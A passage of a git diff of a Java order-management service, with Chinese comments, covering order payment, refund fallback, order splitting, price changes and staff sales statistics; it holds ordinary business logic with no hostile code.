price.subtract(order.getCdPrice()).add(order.getPayPrice()); + order.setKfpay(order.getKfpay().add(price.subtract(order.getCdPrice()))); + order.setCdPrice(new BigDecimal(0)); + }else { + order.setCdPrice(order.getCdPrice().subtract(price)); + order.setKfpay(new BigDecimal(0)); + newPayPrice = order.getPayPrice(); + } + }else { + order.setKfpay(order.getKfpay().add(price)); + newPayPrice = price.add(order.getPayPrice()); + } + + sysUser.setYue(sysUser.getYue().subtract(price)); + sysUserMapper.updateById(sysUser); + + boolean res = saveOrderRecord(order.getId(),"订单支付","订单:"+order.getOrderId()+" 客服支付金额:"+price+" 成功",1,null); + if(!res){ + throw new ServiceException("订单支付失败"); + } + } + + if(order.getGjPrice() != null || order.getGjPrice().compareTo(BigDecimal.ZERO) > 0){ + order.setGpay(getGjPayPrice(order.getPrice(),newPayPrice.add(order.getCoupon()),order.getGjPrice())); + } + BigDecimal jsPayPrice = getJsPayPrice(order.getPrice(),newPayPrice,order.getPrice().subtract(order.getGjPrice()).subtract(order.getCdPrice())); +// order.setJsPayPrice(getJsPay(jsPayPrice.subtract(order.getBreach()))); + order.setJsPayPrice(jsPayPrice.subtract(order.getBreach())); + order.setState(2); + order.setPayPrice(newPayPrice); + BigDecimal endPrice = order.getPrice().subtract(newPayPrice.add(order.getCoupon())); + order.setEndPrice(endPrice); + if(endPrice.compareTo(BigDecimal.ZERO) > 0){ + order.setPayState(2); + }else { + order.setPayState(3); + } + return baseMapper.updateById(order); + } + + /** + * 订单回退获取订单和退款金额信息 + * @param orderId + * @return + */ + @Override + public TpOrderVo orderFallback(Long orderId) { + LambdaQueryWrapper lwq = new LambdaQueryWrapper() + .select(TpOrder::getId,TpOrder::getOrderId,TpOrder::getPrice,TpOrder::getPayPrice,TpOrder::getKhpay,TpOrder::getKfpay,TpOrder::getCdPrice,TpOrder::getSid,TpOrder::getKid) + .eq(TpOrder::getId,orderId); + return baseMapper.selectVoOne(lwq); + } + + /** + * 订单回退 + * @param orderId + * @param type + * @param price + * @return + */ + @Override + @Transactional(propagation = Propagation.REQUIRED, rollbackFor = Exception.class) + public int fallback(Long orderId, Integer type, BigDecimal price) { + LoginUser loginUser = LoginHelper.getLoginUser(); + TpOrder order = baseMapper.selectById(orderId); + if(order.getPayState() == 1){ + throw new ServiceException("该订单未支付,不可回退"); + } + //已支付减去回退金额 + BigDecimal payPrice = order.getPayPrice().subtract(price); + if(payPrice.compareTo(BigDecimal.ZERO) < 0){ + throw new ServiceException("回退金额不可以大于已支付金额"); + } else if (payPrice.compareTo(BigDecimal.ZERO) > 0) { + order.setPayState(2); + order.setDjPrice(payPrice); + order.setEndPrice(order.getPrice().subtract(payPrice.add(order.getCoupon()))); + }else if (payPrice.compareTo(BigDecimal.ZERO) == 0) { + order.setState(1); + order.setPayState(1); + order.setDjPrice(payPrice); + order.setEndPrice(order.getPrice().subtract(payPrice.add(order.getCoupon()))); + } + if(type.equals(1)){ + if(order.getKhpay().subtract(order.getCdPrice()).subtract(price).compareTo(BigDecimal.ZERO) < 0){ + throw new ServiceException("回退金额不可以大于已支付金额"); + } + TpClientStaff clientStaff = clientStaffMapper.selectById(order.getSkid()); + + TpClientFundBo tpClientFund = new TpClientFundBo(); + tpClientFund.setBalanceBefore(clientStaff.getYue()); + + clientStaff.setYue(clientStaff.getYue().add(price)); + clientStaffMapper.updateById(clientStaff); + TpClient client = clientMapper.selectById(clientStaff.getKid()); + client.setYue(client.getYue().add(price)); + clientMapper.updateById(client); + order.setKhpay(order.getKhpay().subtract(price)); + + // 添加客户资金日志 + tpClientFund.setKId(client.getId()); + tpClientFund.setSkId(clientStaff.getId()); + tpClientFund.setBizType(3); + tpClientFund.setChangeAmount(price); + tpClientFund.setBalanceAfter(clientStaff.getYue()); + tpClientFund.setOrderId(order.getId()); + tpClientFund.setOrderNo(order.getOrderId()); + tpClientFund.setCreateBy(loginUser.getUserId()); + tpClientFund.setRemark("订单回退"); + tpClientFundService.insertByBo(tpClientFund); + + boolean res = saveOrderRecord(order.getId(),"订单回退","订单:"+order.getOrderId()+" 客户回退金额:"+price+" 成功",1,null); + if(!res){ + throw new ServiceException("订单回退失败"); + } + }else if(type.equals(2)){ + if(order.getKfpay().subtract(order.getCdPrice()).subtract(price).compareTo(BigDecimal.ZERO) < 0){ + throw new ServiceException("回退金额不可以大于已支付金额"); + } + SysUser sysUser = sysUserMapper.selectById(order.getSid()); + sysUser.setYue(sysUser.getYue().add(price)); + sysUserMapper.updateById(sysUser); + order.setKfpay(order.getKfpay().subtract(price)); + + boolean res = saveOrderRecord(order.getId(),"订单回退","订单:"+order.getOrderId()+" 客服回退金额:"+price+" 成功",1,null); + if(!res){ + throw new ServiceException("订单回退失败"); + } + } + + if(order.getGjPrice() != null || order.getGjPrice().compareTo(BigDecimal.ZERO) > 0){ + order.setGpay(getGjPayPrice(order.getPrice(),payPrice.add(order.getCoupon()),order.getGjPrice())); + } + BigDecimal jsPayPrice = getJsPayPrice(order.getPrice(),payPrice,order.getPrice().subtract(order.getGjPrice()).subtract(order.getCdPrice())); + order.setJsPayPrice(jsPayPrice); + + order.setPayPrice(payPrice); + return baseMapper.updateById(order); + } + + /** + * 订单拆单获取订单和金额信息 + * @param orderId + * @return + */ + @Override + public TpOrderVo cdOrderInfo(Long orderId) { + LambdaQueryWrapper lwq = new LambdaQueryWrapper() + .select(TpOrder::getId,TpOrder::getOrderId,TpOrder::getPrice,TpOrder::getPayPrice,TpOrder::getCdPrice,TpOrder::getKhpay,TpOrder::getSid,TpOrder::getKid,TpOrder::getAddTime) + .eq(TpOrder::getId,orderId); + TpOrderVo orderVo = baseMapper.selectVoOne(lwq); + orderVo.setJsPrice(orderVo.getPrice().subtract(orderVo.getCdPrice())); + return orderVo; + } + + /** + * 订单拆单 + * @param orderId + * @param price + * @return + */ + @Override + @Transactional(propagation = Propagation.REQUIRED, rollbackFor = Exception.class) + public int cdOrder(Long orderId, BigDecimal price) { + TpOrder order = baseMapper.selectById(orderId); + if (order.getIsCd() == 2) { + throw new ServiceException("该订单已拆单"); + } + if(order.getKfpay().compareTo(BigDecimal.ZERO) > 0){ + throw new ServiceException("该订单客服已用余额支付,不可拆单"); + } + //已支付减去拆单金额 + BigDecimal payPrice = order.getKhpay().subtract(price); + if(payPrice.compareTo(BigDecimal.ZERO) < 0){ + throw new ServiceException("拆单金额不能大于客户已付金额"); + } + if(order.getPayState() != 1){ + order.setCdPrice(price); + order.setJsPrice(order.getPrice().subtract(order.getGjPrice()).subtract(price)); + if(order.getGjPrice() != null || order.getGjPrice().compareTo(BigDecimal.ZERO) > 0){ + order.setGpay(getGjPayPrice(order.getPrice(),order.getPayPrice(),order.getGjPrice())); + } + BigDecimal jsPayPrice = getJsPayPrice(order.getPrice(),order.getPayPrice(),order.getPrice().subtract(order.getGjPrice()).subtract(price)); + order.setJsPayPrice(jsPayPrice); + } + boolean res = saveOrderRecord(order.getId(),"订单拆单","订单:"+order.getOrderId()+"拆单成功!拆单金额:"+price,1,null); + if(!res){ + throw new ServiceException("订单拆单失败"); + } + order.setIsCd(2); + + SysUser sysUser = sysUserMapper.selectById(order.getSid()); + sysUser.setYue(sysUser.getYue().add(price)); + sysUserMapper.updateById(sysUser); + + return baseMapper.updateById(order); + } + + /** + * 订单改价获取订单和金额信息 + * @param orderId 主键 + */ + @Override + public TpOrderVo gjOrderInfo(Long orderId) { + LambdaQueryWrapper lwq = new LambdaQueryWrapper() + .select(TpOrder::getId,TpOrder::getOrderId,TpOrder::getPrice,TpOrder::getPayPrice,TpOrder::getJsPrice,TpOrder::getCdPrice,TpOrder::getGjPrice,TpOrder::getSid,TpOrder::getKid,TpOrder::getAddTime) + .eq(TpOrder::getId,orderId); + return baseMapper.selectVoOne(lwq); + } + + /** + * 订单改价 + */ + @Override + @Transactional(propagation = Propagation.REQUIRED, rollbackFor = Exception.class) + public int gjOrder(Long orderId, BigDecimal price) { + TpOrder order = baseMapper.selectById(orderId); + //已支付减去改价金额 + BigDecimal payPrice = order.getPayPrice().subtract(price); + + if(order.getPayState() == 3){ + if(payPrice.compareTo(BigDecimal.ZERO) < 0){ + throw new ServiceException("改价金额不能大于客户已付金额"); + } + } + + if(order.getPayState() != 1){ + order.setGjPrice(price); + order.setJsPrice(order.getPrice().subtract(order.getCdPrice()).subtract(price)); + order.setGpay(getGjPayPrice(order.getPrice(),order.getPayPrice().add(order.getCoupon()),price)); + BigDecimal jsPayPrice = getJsPayPrice(order.getPrice(),order.getPayPrice(),order.getPrice().subtract(order.getCdPrice()).subtract(price)); + order.setJsPayPrice(jsPayPrice.subtract(order.getBreach())); + }else{ + order.setGjPrice(price); + order.setJsPrice(order.getPrice().subtract(order.getCdPrice()).subtract(price)); + } + boolean res = saveOrderRecord(order.getId(),"订单改价","订单:"+order.getOrderId()+"改价成功!改价金额:"+price,2,null); + if(!res){ + throw new ServiceException("订单改价失败"); + } + return baseMapper.updateById(order); + } + + /** + * 查询订单统计(客服) + * @param bo + * @return + */ + @Override + public CustomerOrderSumVo queryCustomerSum(TpOrderBo bo) { + LoginUser loginUser = LoginHelper.getLoginUser(); + CustomerOrderSumVo vo = new CustomerOrderSumVo(); + bo.setIsDel(1); + + MPJLambdaWrapper mlqw = buildQueryMPJWrapperKF(bo); + mlqw.leftJoin(SysUser.class,"s",SysUser::getUserId,TpOrder::getSid) + .leftJoin(SysUser.class,"f",SysUser::getUserId,TpOrder::getFid) + .leftJoin(SysUser.class,"b",SysUser::getUserId,TpOrder::getBid) + .leftJoin(TpClient.class,TpClient::getId,TpOrder::getKid) + .leftJoin(TpClientStaff.class,TpClientStaff::getId,TpOrder::getSkid) + .leftJoin(TpWechat.class,TpWechat::getId,TpOrder::getWid); + Long orderCount = baseMapper.selectJoinCount(mlqw); + vo.setOrderCount(orderCount); + + MPJLambdaWrapper lqw = buildQueryMPJWrapperKF(bo); + lqw.select(TpOrder::getId,TpOrder::getPrice,TpOrder::getPayPrice,TpOrder::getGjPrice,TpOrder::getGpay,TpOrder::getCdPrice,TpOrder::getKfpay,TpOrder::getCoupon) + .leftJoin(SysUser.class,"s",SysUser::getUserId,TpOrder::getSid) + .leftJoin(SysUser.class,"f",SysUser::getUserId,TpOrder::getFid) + .leftJoin(SysUser.class,"b",SysUser::getUserId,TpOrder::getBid) + .leftJoin(TpClient.class,TpClient::getId,TpOrder::getKid) + .leftJoin(TpClientStaff.class,TpClientStaff::getId,TpOrder::getSkid) + .leftJoin(TpWechat.class,TpWechat::getId,TpOrder::getWid); + + List list = baseMapper.selectJoinList(TpOrderVo.class,lqw); + BigDecimal zyjSum = list.stream().map(f -> new BigDecimal(String.valueOf(f.getPrice()))).reduce(BigDecimal.ZERO, BigDecimal::add); + BigDecimal ydkSum = list.stream().map(f -> new BigDecimal(String.valueOf(f.getPayPrice()))).reduce(BigDecimal.ZERO, BigDecimal::add); + BigDecimal cdze = list.stream().map(f -> new BigDecimal(String.valueOf(f.getCdPrice()))).reduce(BigDecimal.ZERO, BigDecimal::add); + //BigDecimal cdyfk = list.stream().map(f -> new BigDecimal(String.valueOf(f.getKfpay()))).reduce(BigDecimal.ZERO, BigDecimal::add); + + BigDecimal cdyfk = new BigDecimal(0); + if(StringUtils.isNotBlank(bo.getOrderId()) || bo.getDeptIds() != null || bo.getPhone() != null || StringUtils.isNotBlank(bo.getWcode()) || StringUtils.isNotBlank(bo.getScode()) || StringUtils.isNotBlank(bo.getBcode()) || StringUtils.isNotBlank(bo.getFcode()) || bo.getAssignState() != null || bo.getStyle() != null || StringUtils.isNotBlank(bo.getSpace()) || bo.getQuality() != null || bo.getType() != null || bo.getState() != null || StringUtils.isNotBlank(bo.getRemark()) || StringUtils.isNotBlank(bo.getJsRemark()) || bo.getPayState() != null || bo.getIsC() != null){ + List oids = list.stream().map(TpOrderVo::getId).collect(Collectors.toList()); + if(oids.size() > 0){ + cdyfk = staffPayMapper.selectList(new LambdaQueryWrapper().select(TpStaffPay::getPrice).in(TpStaffPay::getOid,oids)).stream().map(TpStaffPay::getPrice).reduce(BigDecimal.ZERO, BigDecimal::add); + } + }else{ + if(loginUser.getIdentity() == 3){ + cdyfk = staffPayMapper.selectList(new LambdaQueryWrapper().select(TpStaffPay::getPrice).eq(TpStaffPay::getAddUser,loginUser.getIdentity()).between(TpStaffPay::getAddTime,bo.getParams().get("addBeginTime"),bo.getParams().get("addEndTime"))).stream().map(TpStaffPay::getPrice).reduce(BigDecimal.ZERO, BigDecimal::add); + }else { + cdyfk = staffPayMapper.selectList(new LambdaQueryWrapper().select(TpStaffPay::getPrice).between(TpStaffPay::getAddTime,bo.getParams().get("addBeginTime"),bo.getParams().get("addEndTime"))).stream().map(TpStaffPay::getPrice).reduce(BigDecimal.ZERO, BigDecimal::add); + } + } + BigDecimal gjyj = list.stream().map(f -> new BigDecimal(String.valueOf(f.getGjPrice()))).reduce(BigDecimal.ZERO, BigDecimal::add); + BigDecimal gjydk = list.stream().map(f -> new BigDecimal(String.valueOf(f.getGpay()))).reduce(BigDecimal.ZERO, BigDecimal::add); + BigDecimal yhqze = list.stream().map(f -> new BigDecimal(String.valueOf(f.getCoupon()))).reduce(BigDecimal.ZERO, BigDecimal::add); + vo.setYhqze(yhqze); + vo.setGjyj(gjyj); + vo.setGjydk(gjydk); + + vo.setZyjSum(zyjSum); + vo.setYdkSum(ydkSum); + vo.setWdkSum(zyjSum.subtract(ydkSum.add(yhqze))); + // 检查 zyjSum 是否为零 + if (zyjSum.compareTo(BigDecimal.ZERO) == 0) { + vo.setDkl("0%"); + } else { + BigDecimal dkl = (ydkSum.add(yhqze)).divide(zyjSum, 2, RoundingMode.HALF_UP); + vo.setDkl(dkl.multiply(BigDecimal.valueOf(100)) + "%"); + } + // 检查 orderCount 是否为零 + if (orderCount == 0) { + vo.setJj(BigDecimal.ZERO); + } else { + vo.setJj(zyjSum.divide(BigDecimal.valueOf(orderCount), 2, RoundingMode.HALF_UP)); + } + vo.setCdze(cdze); + vo.setCdyfk(cdyfk); + vo.setSjydk(ydkSum.subtract(cdyfk)); + return vo; + } + + /** + * 客服首页统计 + * @return + */ + @Override + public IndexSumVo getKfTarget() { + LoginUser loginUser = LoginHelper.getLoginUser(); + DateTime now = DateTime.now(); + int year = now.year(); + String month = DateUtil.format(new Date(), "yyyy-MM"); + String day = DateUtil.format(new Date(), "yyyy-MM-dd"); + + IndexSumVo indexSumVo = new IndexSumVo(); + TpYearVo yearVo = yearMapper.selectVoOne(new LambdaQueryWrapper().eq(TpYear::getSid, loginUser.getUserId()).eq(TpYear::getYear, year)); + TpMonthVo monthVo = monthMapper.selectVoOne(new LambdaQueryWrapper().eq(TpMonth::getSid, loginUser.getUserId()).eq(TpMonth::getMonth, month+"-01")); + + if(ObjectUtil.isNotEmpty(yearVo)){ + indexSumVo.setGrnTarget(yearVo.getGeren()); + indexSumVo.setGsnTarget(yearVo.getGongsi()); + } + if(ObjectUtil.isNotEmpty(monthVo)){ + indexSumVo.setGryTarget(monthVo.getGeren()); + indexSumVo.setGsyTarget(monthVo.getGongsi()); + } + + LambdaQueryWrapper lqw = new LambdaQueryWrapper() + .select(TpOrder::getPrice,TpOrder::getPayPrice,TpOrder::getCoupon) + .eq(TpOrder::getIsDel,1) + .eq(TpOrder::getSid,loginUser.getUserId()) + .ge(TpOrder::getAddTime,year); + List list = baseMapper.selectList(lqw); + BigDecimal ywcYSum = list.stream().map(f -> new BigDecimal(String.valueOf(f.getPrice()))).reduce(BigDecimal.ZERO, BigDecimal::add); + BigDecimal ydkYSum = list.stream().map(f -> new BigDecimal(String.valueOf(f.getPayPrice()))).reduce(BigDecimal.ZERO, BigDecimal::add); + BigDecimal yhqze = list.stream().map(f -> new BigDecimal(String.valueOf(f.getCoupon()))).reduce(BigDecimal.ZERO, BigDecimal::add); + indexSumVo.setYwcYSum(String.valueOf(ywcYSum)); + indexSumVo.setYdkYSum(String.valueOf(ydkYSum.add(yhqze))); + + LambdaQueryWrapper lqw1 = new LambdaQueryWrapper() + .select(TpOrder::getPrice,TpOrder::getPayPrice,TpOrder::getCoupon) + .eq(TpOrder::getIsDel,1) + .eq(TpOrder::getSid,loginUser.getUserId()) + .ge(TpOrder::getAddTime,month+"-01"); + List list1 = baseMapper.selectList(lqw1); + BigDecimal ywcMSum = list1.stream().map(f -> new BigDecimal(String.valueOf(f.getPrice()))).reduce(BigDecimal.ZERO, BigDecimal::add); + BigDecimal ydkMSum = list1.stream().map(f -> new BigDecimal(String.valueOf(f.getPayPrice()))).reduce(BigDecimal.ZERO, BigDecimal::add); + BigDecimal yhqze1 = list1.stream().map(f -> new BigDecimal(String.valueOf(f.getCoupon()))).reduce(BigDecimal.ZERO, BigDecimal::add); + indexSumVo.setYwcMSum(String.valueOf(ywcMSum)); + indexSumVo.setYdkMSum(String.valueOf(ydkMSum.add(yhqze1))); + + LambdaQueryWrapper lqw2 = new LambdaQueryWrapper() + .select(TpOrder::getPrice,TpOrder::getPayPrice,TpOrder::getCoupon) + .eq(TpOrder::getIsDel,1) + .eq(TpOrder::getSid,loginUser.getUserId()) + .ge(TpOrder::getAddTime,day); + List list2 = baseMapper.selectList(lqw2); + BigDecimal ywcDSum = list2.stream().map(f -> new BigDecimal(String.valueOf(f.getPrice()))).reduce(BigDecimal.ZERO, BigDecimal::add); + BigDecimal ydkDSum = list2.stream().map(f -> new BigDecimal(String.valueOf(f.getPayPrice()))).reduce(BigDecimal.ZERO, BigDecimal::add); + BigDecimal yhqze2 = list2.stream().map(f -> new BigDecimal(String.valueOf(f.getCoupon()))).reduce(BigDecimal.ZERO, BigDecimal::add); + indexSumVo.setYwcDSum(String.valueOf(ywcDSum)); + indexSumVo.setYdkDSum(String.valueOf(ydkDSum.add(yhqze2))); + return indexSumVo; + } + + /** + * 技术首页统计 + * @return + */ + @Override + public IndexSumVo getJsTarget() { + LoginUser loginUser = LoginHelper.getLoginUser(); + DateTime now = DateTime.now(); + int year = now.year(); + String month = DateUtil.format(new Date(), "yyyy-MM"); + String day = DateUtil.format(new Date(), "yyyy-MM-dd"); + String endDay = day + " 09:00:00"; + //昨天 + String yesterday = DateUtil.formatDate(DateUtil.yesterday()); + + IndexSumVo indexSumVo = new IndexSumVo(); + LambdaQueryWrapper lqw = new LambdaQueryWrapper() + .select(TpOrder::getJsPrice,TpOrder::getJsPayPrice,TpOrder::getCoupon) + .eq(TpOrder::getIsDel,1) + .eq(TpOrder::getBid,loginUser.getUserId()) + .between(TpOrder::getAddTime,year+"-01-01 00:00:00",endDay); + List list = baseMapper.selectList(lqw); + BigDecimal ywcYSum = list.stream().map(f -> new BigDecimal(String.valueOf(f.getJsPrice()))).reduce(BigDecimal.ZERO, BigDecimal::add); + BigDecimal ydkYSum = list.stream().map(f -> new BigDecimal(String.valueOf(f.getJsPayPrice()))).reduce(BigDecimal.ZERO, BigDecimal::add); + BigDecimal yhqze = list.stream().map(f -> new BigDecimal(String.valueOf(f.getCoupon()))).reduce(BigDecimal.ZERO, BigDecimal::add); + indexSumVo.setYwcYSum(String.valueOf(ywcYSum)); + indexSumVo.setYdkYSum(String.valueOf(ydkYSum.add(yhqze))); +// indexSumVo.setYwcYSum(getMinMultipleOfOneThousand(ywcYSum.intValue())+"以上"); +// indexSumVo.setYdkYSum(getMinMultipleOfOneThousand(ydkYSum.intValue())+"以上"); + + LambdaQueryWrapper lqw1 = new LambdaQueryWrapper() + .select(TpOrder::getJsPrice,TpOrder::getJsPayPrice,TpOrder::getCoupon) + .eq(TpOrder::getIsDel,1) + .eq(TpOrder::getBid,loginUser.getUserId()) + .between(TpOrder::getAddTime,month+"-01 00:00:00",endDay); + List list1 = baseMapper.selectList(lqw1); + BigDecimal ywcMSum = list1.stream().map(f -> new BigDecimal(String.valueOf(f.getJsPrice()))).reduce(BigDecimal.ZERO, BigDecimal::add); + BigDecimal ydkMSum = list1.stream().map(f -> new BigDecimal(String.valueOf(f.getJsPayPrice()))).reduce(BigDecimal.ZERO, BigDecimal::add); + BigDecimal yhqze1 = list1.stream().map(f -> new BigDecimal(String.valueOf(f.getCoupon()))).reduce(BigDecimal.ZERO, BigDecimal::add); + indexSumVo.setYwcMSum(String.valueOf(ywcMSum)); + indexSumVo.setYdkMSum(String.valueOf(ydkMSum.add(yhqze1))); + +// indexSumVo.setYwcMSum(getMinMultipleOfOneThousand(ywcMSum.intValue())+"以上"); +// indexSumVo.setYdkMSum(getMinMultipleOfOneThousand(ydkMSum.intValue())+"以上"); + + LambdaQueryWrapper lqw2 = new LambdaQueryWrapper() + .select(TpOrder::getJsPrice,TpOrder::getJsPayPrice,TpOrder::getCoupon) + .eq(TpOrder::getIsDel,1) + .eq(TpOrder::getBid,loginUser.getUserId()) + .between(TpOrder::getAddTime,yesterday+" 00:00:00",endDay); + List list2 = baseMapper.selectList(lqw2); + BigDecimal ywcDSum = list2.stream().map(f -> new BigDecimal(String.valueOf(f.getJsPrice()))).reduce(BigDecimal.ZERO, BigDecimal::add); + BigDecimal ydkDSum = list2.stream().map(f -> new BigDecimal(String.valueOf(f.getJsPayPrice()))).reduce(BigDecimal.ZERO, BigDecimal::add); + BigDecimal yhqze2 = list2.stream().map(f -> new BigDecimal(String.valueOf(f.getCoupon()))).reduce(BigDecimal.ZERO, BigDecimal::add); + indexSumVo.setYwcDSum(String.valueOf(ywcDSum)); + indexSumVo.setYdkDSum(String.valueOf(ydkDSum.add(yhqze2))); + +// indexSumVo.setYwcDSum(getMinMultipleOfOneThousand(ywcDSum.intValue())+"以上"); +// indexSumVo.setYdkDSum(getMinMultipleOfOneThousand(ydkDSum.intValue())+"以上"); + return indexSumVo; + } + + /** + *查询订单统计(技术) + * @param bo + * @return + */ + @Override + public SkillOrderSumVo querySkillSum(TpOrderBo bo) { + LoginUser loginUser = LoginHelper.getLoginUser(); + if (loginUser != null && loginUser.getIdentity() == 3){ + throw new ServiceException("您无权限查看技术订单列表"); + } + SkillOrderSumVo vo = new SkillOrderSumVo(); + bo.setIsDel(1); + MPJLambdaWrapper lqw = buildQueryMPJWrapper(bo); + lqw.leftJoin(SysUser.class,"s",SysUser::getUserId,TpOrder::getSid) + .leftJoin(SysUser.class,"f",SysUser::getUserId,TpOrder::getFid) + .leftJoin(SysUser.class,"b",SysUser::getUserId,TpOrder::getBid) + .leftJoin(TpClient.class,TpClient::getId,TpOrder::getKid) + .isNotNull(TpOrder::getBid); + Long orderCount = baseMapper.selectJoinCount(lqw); + vo.setOrderCount(orderCount); + + MPJLambdaWrapper olqw = buildQueryMPJWrapper(bo); + olqw.select(TpOrder::getId,TpOrder::getPrice,TpOrder::getGjPrice,TpOrder::getJsPrice,TpOrder::getJsPayPrice) + .selectAs("round(t.coupon*(t.js_price/t.price),2)",TpOrderVo::getCoupon) + .leftJoin(SysUser.class,"s",SysUser::getUserId,TpOrder::getSid) + .leftJoin(SysUser.class,"f",SysUser::getUserId,TpOrder::getFid) + .leftJoin(SysUser.class,"b",SysUser::getUserId,TpOrder::getBid) + .leftJoin(TpClient.class,TpClient::getId,TpOrder::getKid) + .isNotNull(TpOrder::getBid); + List list = baseMapper.selectJoinList(TpOrderVo.class,olqw); + BigDecimal zyjSum = list.stream().map(f -> new BigDecimal(String.valueOf(f.getPrice().subtract(f.getGjPrice())))).reduce(BigDecimal.ZERO, BigDecimal::add); + BigDecimal ydkSum = list.stream().map(f -> new BigDecimal(String.valueOf(f.getJsPayPrice()))).reduce(BigDecimal.ZERO, BigDecimal::add); + BigDecimal yhqzeSum = list.stream().map(f -> new BigDecimal(String.valueOf(f.getCoupon()))).reduce(BigDecimal.ZERO, BigDecimal::add); + + vo.setZyjSum(zyjSum); + vo.setYdkSum(ydkSum); + vo.setYhqze(yhqzeSum); + // 检查 zyjSum 是否为零 + if (zyjSum.compareTo(BigDecimal.ZERO) == 0) { + vo.setDkl("0%"); + } else { + BigDecimal dkl = (ydkSum.add(yhqzeSum)).divide(zyjSum, 2, RoundingMode.HALF_UP); + vo.setDkl(dkl.multiply(BigDecimal.valueOf(100)) + "%"); + } + //List结果集取订单ID + List newList = list.stream().map(TpOrderVo::getId).collect(Collectors.toList()); + // 确保 newList 不为空 + if (newList != null && newList.size() > 0) { + LambdaQueryWrapper lwq1 = new LambdaQueryWrapper<>(); +// lwq1.inSql(TpOrderSmall::getOid,"select id from tp_order where is_del = 1"); + lwq1.in(TpOrderSmall::getOid,newList); + Long ycxt = smallMapper.selectCount(lwq1); + + LambdaQueryWrapper lwq2 = new LambdaQueryWrapper<>(); +// lwq2.in(TpOrderBig::getOid,"select id from tp_order where is_del = 1"); + lwq2.in(TpOrderBig::getOid,newList); + Long ycdt = bigMapper.selectCount(lwq2); + + LambdaQueryWrapper lwq3 = new LambdaQueryWrapper<>(); +// lwq3.in(TpOrderModel::getOid,"select id from tp_order where is_del = 1"); + lwq3.in(TpOrderModel::getOid,newList); + Long ycmx = modelMapper.selectCount(lwq3); + + vo.setYcxt(ycxt); + vo.setYcdt(ycdt); + vo.setYcmx(ycmx); + }else { + vo.setYcxt(0L); + vo.setYcdt(0L); + vo.setYcmx(0L); + } + return vo; + } + + //获取订单编号 + public static String genItemId() { + //取当前时间的长整形值包含毫秒 + long millis = System.currentTimeMillis(); + String result = String.valueOf(millis).substring(6, 13); + //加上两位随机数 + Random random = new Random(); + int end2 = random.nextInt(99); + //如果不足两位前面补0 + return "DD" + result + String.format("%02d", end2); + } + + //插入操作记录 + public Boolean saveOrderRecord(Long orderId, String type,String content,Integer state,String record) { + LoginUser loginUser = LoginHelper.getLoginUser(); + TpOrderRecord orderRecord = new TpOrderRecord(); + orderRecord.setOid(orderId); + orderRecord.setType(type); + orderRecord.setContent(content); + orderRecord.setAddUser(loginUser.getUserId()); + orderRecord.setAddTime(new Date()); + orderRecord.setState(state); + if(record != null){ + orderRecord.setRecord(record); + } + return recordMapper.insert(orderRecord) > 0; + } + + //改价已支付 + public BigDecimal getGjPayPrice(BigDecimal price,BigDecimal payPrice,BigDecimal gjPrice){ + BigDecimal bili = payPrice.divide(price,6,RoundingMode.HALF_UP); + return gjPrice.multiply(bili).setScale(2, RoundingMode.HALF_UP); + } + + //技术已支付 + public BigDecimal getJsPayPrice(BigDecimal price,BigDecimal payPrice,BigDecimal jsPrice){ + BigDecimal bili = payPrice.divide(price, 6, RoundingMode.HALF_UP); + return jsPrice.multiply(bili).setScale(2, RoundingMode.HALF_UP); + } + + public int getDataScope() { + LoginUser loginUser = LoginHelper.getLoginUser(); + List ids = loginUser != null ? + loginUser.getRoles().stream().filter(Objects::nonNull).map(role -> role.getDataScope()).filter(Objects::nonNull).collect(Collectors.toList()) : + Collections.emptyList(); + + if (ids.contains("1")) { + return 1; + } else if (ids.contains("2")) { + return 2; + } else if (ids.contains("3")) { + return 3; + } else if (ids.contains("4")) { + return 4; + } else if (ids.contains("5")) { + return 5; + } + return 0; + } + + public List getDeptIds(){ + LoginUser loginUser = LoginHelper.getLoginUser(); + List roleIds = loginUser.getRoles().stream().map(RoleDTO::getRoleId).collect(Collectors.toList()); + List getDeptIds = roleDeptMapper.selectList(new LambdaQueryWrapper().in(SysRoleDept::getRoleId, roleIds)).stream().map(SysRoleDept::getDeptId).collect(Collectors.toList()); + return getDeptIds.stream().distinct().collect(Collectors.toList()); + } + + public List getOrderTypeIds(){ + LoginUser loginUser = LoginHelper.getLoginUser(); + List roleIds = loginUser.getRoles().stream().map(RoleDTO::getRoleId).collect(Collectors.toList()); + List orderTypeIds = roleMapper.selectList(new LambdaQueryWrapper().in(SysRole::getRoleId, roleIds)).stream().map(SysRole::getOrderType).collect(Collectors.toList()); + // 使用 StringBuilder 拼接字符串 + StringBuilder sb = new StringBuilder(); + for (String orderType : orderTypeIds) { + sb.append(orderType).append(","); + } + // 去除最后一个多余的逗号 + if (sb.length() > 0) { + sb.setLength(sb.length() - 1); + } + List getOrderTypeIds = Arrays.stream(sb.toString().split(",")).map(Long::parseLong).collect(Collectors.toList()); + return getOrderTypeIds.stream().distinct().collect(Collectors.toList()); + } + + // 取大于等于num的最小1000倍数 + public static int getMinMultipleOfOneThousand(int num) { + return num / 1000 * 1000; + } + + /** + * 判断时间是否在今天9点之后 + * @param inputDateTime + * @return + */ + public static boolean isNotBeforeToday9AM(String inputDateTime) { + // 定义日期时间格式 + DateTimeFormatter formatter = DateTimeFormatter.ofPattern("yyyy-MM-dd HH:mm:ss"); + // 将输入的字符串转换为LocalDateTime对象 + LocalDateTime inputLocalDateTime = LocalDateTime.parse(inputDateTime, formatter); + // 获取今天的日期 + LocalDateTime today9AM = LocalDateTime.now().toLocalDate().atTime(0, 0); + // 比较两个日期时间 + return !inputLocalDateTime.isBefore(today9AM); + } + + private static BigDecimal getJsPay(BigDecimal number){ + // 定义除数和舍入模式 + BigDecimal divisor = new BigDecimal("50"); + RoundingMode mode = RoundingMode.DOWN; + // 计算逻辑 + return number.divide(divisor, 0, mode).multiply(divisor); + } +} diff --git a/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/service/impl/TpOrderSmallServiceImpl.java b/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/service/impl/TpOrderSmallServiceImpl.java index 37c8ff3..7197694 100644 --- a/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/service/impl/TpOrderSmallServiceImpl.java +++ b/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/service/impl/TpOrderSmallServiceImpl.java @@ -1,176 +1,176 @@ -package org.dromara.work.service.impl; - -import com.baomidou.mybatisplus.core.metadata.IPage; -import com.baomidou.mybatisplus.extension.plugins.pagination.Page; -import com.github.yulichang.base.MPJBaseServiceImpl; -import com.github.yulichang.wrapper.MPJLambdaWrapper; -import lombok.RequiredArgsConstructor; -import org.dromara.common.core.domain.model.LoginUser; -import 